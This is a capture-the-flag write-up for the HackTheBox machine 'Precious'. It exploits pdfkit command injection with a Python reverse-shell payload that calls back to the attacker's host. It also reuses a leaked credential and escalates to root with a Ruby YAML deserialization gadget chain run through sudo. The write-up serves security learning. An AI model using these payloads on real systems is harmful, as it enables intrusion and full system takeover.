Intro
Precious is an Easy HackTheBox machine covering a Ruby Web application and YAML Deserialization exploits.
Enumeration
1
2
3
4
5
6
7
8
9
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
#HTB_Boxes
10.10.11.189 precious.htb
After adding the precious.htb
domain name to the /etc/hosts
file and running a Nmap scan, it was brought to light that ports 22
and 80
are opened.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ sudo nmap -sSCV -A -O -T4 -oN nmap.scan 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-29 15:48 EST
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.019s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=1/29%OT=22%CT=1%CU=34818%PV=Y%DS=2%DC=T%G=Y%TM=63D6DBB
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST1
OS:1NW7%O6=M539ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 17.81 ms 10.10.14.1
2 18.39 ms precious.htb (10.10.11.189)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.85 seconds
It appears that the Web server returns a simple page with a text box and a submit button. Based on the instructions, the page requires a URL input, the result of which would be converted to PDF.
For the purpose of testing, I started an Apache server which returns the default apache landing page.
Feeding the URL to my Apache server appeared to work just as expected.
In order to find out more about how that file is converted to PDF, exiftool
could be particularly useful.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ exiftool 8q571wsmzudd9z4t4yk5etopxrgjr83o.pdf
ExifTool Version Number : 12.49
File Name : 8q571wsmzudd9z4t4yk5etopxrgjr83o.pdf
Directory : .
File Size : 44 kB
File Modification Date/Time : 2023:01:29 16:01:12-05:00
File Access Date/Time : 2023:01:29 16:01:12-05:00
File Inode Change Date/Time : 2023:01:29 16:01:12-05:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 2
Creator : Generated by pdfkit v0.8.6
After looking a bit closer into pdfkit v0.8.6
, it appears there is a well know Command Injection vulnerability found for this version - CVE-2022-25765
.
For this vulnerability to be exploited, a URL making a get request with parameter name
and value %20 <command>
(encoded space, followed by the command wrapped in backticks) needs to be made from the vulnerable system.
So it appears that the vulnerability is due to the lack of sanitisation of the input, as backticks are used in Ruby for shell commands execution.
To read the requests easily, I switched from the Apache server to a simple http python server.
1
$ python3 -m http.server
And to confirm the exploit, I ran a request with the id
command.
1
2
3
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.189 - - [29/Jan/2023 16:12:11] "GET /?name=%20uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 200 -
Initial Access
(A nice little tool to craft your rev shells: https://www.revshells.com/)
To open a reverse shell, I used the following exploit:
1
http://10.10.14.161:8000/?name=%20`python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.161",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'`
And opened a Netcat listener:
1
2
$ nc -nvlp 9001
listening on [any] 9001 ...
Then submit the payload and enjoy the magic.
1
2
3
4
5
6
7
8
9
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.161] from (UNKNOWN) [10.10.11.189] 36054
$ whoami
whoami
ruby
$ pwd
pwd
/var/www/pdfapp
User Privilege Escalation
One of the ways to identify the users on Linux-based systems is by displaying the content of /etc/passwd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
ruby:x:1001:1001::/home/ruby:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
In this case, there is a user henry
:
1
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
After spending some time checking for any SUIDs, Cronjobs, and so on, I found that henry
’s password is exposed at the /home/ruby/.bundle/config
file.
1
2
3
4
$ cat /home/ruby/.bundle/config
cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
I could either use su
to change the user however, for the sake of a better terminal, I used SSH.
1
2
3
4
5
6
7
8
$ ssh [email protected]
.
.
.
henry@precious:~$ whoami
henry
henry@precious:~$ cat user.txt
8b99b0960c5f70e29d309ee21ff71648
Root Privilege Escalation
Running a quick sudo -l
provided me with the command /usr/bin/ruby /opt/update_dependencies.rb
.
1
2
3
4
5
6
$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
The source code of that file is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
The only way I could interfere with the code seemed to be through the dependencies.yml
file, loaded in the list_from_file
function. With a few searches, I found that the YAML.load()
function appears to be vulnerable to YAML Deserialization.
Following the description from this blog post, I made a folder /tmp/.niik
(always make sure you don’t interfere with other players), created a dependencies.yml
file and paste the following code in:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
Then, I ran the command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ pwd
/tmp/.niik
$ ls
dependencies.yml
$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
And finally, to open a root shell, I just replaced id
with /bin/bash -i
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "/bin/bash -i"
method_id: :resolve
$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
3b2de2dffebaa79e8828bf008967167a
Reference List
https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
https://github.com/advisories/GHSA-rhwx-hjx2-x4qr
https://www.ctfiot.com/84447.html
https://readysteadycode.com/howto-execute-shell-commands-with-ruby-backticks
https://www.revshells.com/
https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/